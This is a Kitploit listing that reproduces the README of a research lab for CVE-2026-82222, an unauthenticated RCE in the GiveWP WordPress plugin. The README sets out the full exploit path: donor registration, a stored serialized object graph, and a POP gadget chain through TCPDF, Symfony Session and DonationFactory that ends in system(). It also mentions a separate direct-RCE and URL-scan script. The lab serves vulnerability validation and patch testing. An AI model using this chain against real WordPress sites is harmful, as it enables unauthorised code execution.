Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
givewp-cve-2026-82222-rce-lab — Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix. | Kitploit
Tools/GitHubGitHub/dinosn/givewp-cve-2026-82222-rce-lab
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubdinosn/givewp-cve-2026-82222-rce-lab

givewp-cve-2026-82222-rce-lab

Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.

View Repository
163231 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-82222 — GiveWP Marker-Only RCE Validation Lab

Security-research material for reproducing and validating CVE-2026-82222 in an isolated Docker lab.

For Direct RCE Poc and url scan use CVE-2026-8222-RCE.py

Verdict

Status: proven in the supplied lab

GiveWP 4.16.5.1 permits an initially unauthenticated attacker to persist a PHP object graph, revive it through GiveWP session handling, and execute a fixed marker command as the WordPress web-server user.

Tested positive result:

GiveWP:    4.16.5.1
WordPress: 6.6.2
PHP:       8.1.30
Result:    /tmp/CVE-2026-82222-RCE-GETBAG created by www-data

The end-to-end result was also reproduced against pristine, non-instrumented GiveWP 4.16.5.1 source. GiveWP 4.16.7.2 blocked the HTTP carrier in the tested configuration and independently blocked the terminal gadget during a direct control.

This demonstrates command execution inside the WordPress container. It does not demonstrate root access, container escape, lateral movement, or host compromise.

Safety boundary

Use this repository only on systems you own or are explicitly authorized to test.

The supplied PoC is intentionally constrained:

  • It executes only touch /tmp/CVE-2026-82222-RCE-GETBAG.
  • It offers no arbitrary-command option.
  • It creates no shell, callback, persistence, or privilege escalation.
  • It refuses non-loopback targets unless the operator supplies the explicit --allow-authorized-non-loopback flag.
  • Docker publishes WordPress only on 127.0.0.1.
  • The Compose project name is derived from the checkout path so one clone cannot tear down another clone's containers or volumes.
  • The lab uses pristine official plugin source; it does not instrument or patch the vulnerable target.

The HTTP test creates a disposable donor user, metadata, and GiveWP session rows. Use the included reset command after testing.

Quick start

Requirements:

  • Docker with Compose v2
  • Python 3.10 or later
  • curl
  • unzip
  • sha256sum or shasum
  • Network access to downloads.wordpress.org for official plugin archives

Run the complete vulnerable/patched matrix:

./lab verify

The command:

  1. Downloads GiveWP 4.16.5.1 and 4.16.7.2 from WordPress.org.
  2. Verifies both SHA-256 hashes.
  3. Builds a fresh loopback-only WordPress 6.6.2/PHP 8.1 lab with normal WordPress registration explicitly disabled.
  4. Tests pristine 4.16.5.1 and requires marker creation by the web user.
  5. Builds a second fresh lab with pristine 4.16.7.2.
  6. Requires the HTTP marker to remain absent.
  7. Bypasses ingress in a direct control and confirms the patched ProviderForwarder terminal also rejects the string callable.

The patched lab remains running at the end. Remove it with:

./lab reset

To use another loopback port:

LAB_PORT=8099 ./lab verify

Expected evidence

The vulnerable control must end with concrete terminal evidence:

[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED

The patched control must show:

[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED

An HTTP 500, stored payload, exception, or detector hit without the marker is not accepted as RCE proof.

Manual lab lifecycle

Start and test the vulnerable release:

./lab start vulnerable
./lab test

Start and test the patched release:

./lab start patched
./lab test

Inspect current state:

./lab status

Remove containers, volumes, test users, sessions, and marker state:

./lab reset

Cached plugin ZIPs and extracted assets are preserved for faster reruns. Remove those exact generated assets as well with:

./lab reset --purge-assets

Affected and tested versions

VersionAssessment
GiveWP 4.16.5.1RCE reproduced end to end
GiveWP 4.16.6–4.16.7.1Reported affected; not individually reproduced here
GiveWP 4.16.7.2Patched negative controls reproduced
Later releasesNot individually tested; update to the latest supported release

The public advisory identifies releases through 4.16.7.1 as affected. This repository directly proves only the two versions in its positive/negative test matrix.

References:

  • Patchstack advisory
  • CVE-2026-82222
  • GiveWP hardening commit
  • Official GiveWP plugin page

Root cause

The exploit combines several behaviors:

  1. GiveWP 4.16.5.1 exposes a registration action that creates and authenticates a low-privilege donor even when normal WordPress registration is disabled.
  2. That user can persist serialized data in their own name metadata.
  3. Give\Helpers\Utils::maybeSafeUnserialize() uses allowed_classes => false, producing __PHP_Incomplete_Class, but a later serialization preserves the original class names and properties.
  4. The graph is stored in a GiveWP purchase session.
  5. A later unrestricted maybe_unserialize() revives the shipped classes.
  6. Automatic destruction enters a complete POP chain to system().

Four literal namespace backslashes are required in the HTTP carrier. The two effective stripping passes reduce them 4 -> 2 -> 1. The payload is NUL-free, and PHP 8.1.30 was verified to hydrate the plain serialized name for the private Session::$attributeName property.

Complete POP chain

TCPDF::__destruct()
  -> TCPDF::_destroy(true)
  -> foreach ($this->imagekeys as $file)
  -> Symfony Session::getIterator()
  -> Session::getAttributeBag()
  -> Session::getBag($this->attributeName)
  -> $this->storage->getBag($attributeName)
  -> DonationFactory->__call('getBag', [$attributeName])
  -> call_user_func_array('system', [$attributeName])
  -> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')

Attacker-controlled graph:

TCPDF
├── file_id = unique request identifier
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
    ├── attributeName = fixed marker command
    └── storage = Give\TestData\Factories\DonationFactory
        └── loadedProviders["getBag"] = "system"

The critical hidden transition is PHP's implicit IteratorAggregate dispatch. TCPDF::$imagekeys is untyped, so assigning a Symfony Session causes foreach to invoke Session::getIterator().

The marker command executes before Symfony enforces the getAttributeBag(): AttributeBagInterface return type. The resulting TypeError and HTTP 500 are post-sink effects.

What earlier attempts missed

The rejected candidate graph used:

TCPDF::$objcopy
  -> DonationFactory::$loadedProviders['__destruct'] = 'system'

That graph cannot work. TCPDF::_destroy() only unsets objcopy; PHP does not route automatic destruction through __call('__destruct', ...).

The missing operation was:

foreach ($this->imagekeys as $file) {

The earlier review followed destructors and explicit method calls but did not recursively inspect the implicit object protocol triggered by foreach. Symfony Session supplies the missing bridge:

Download Tool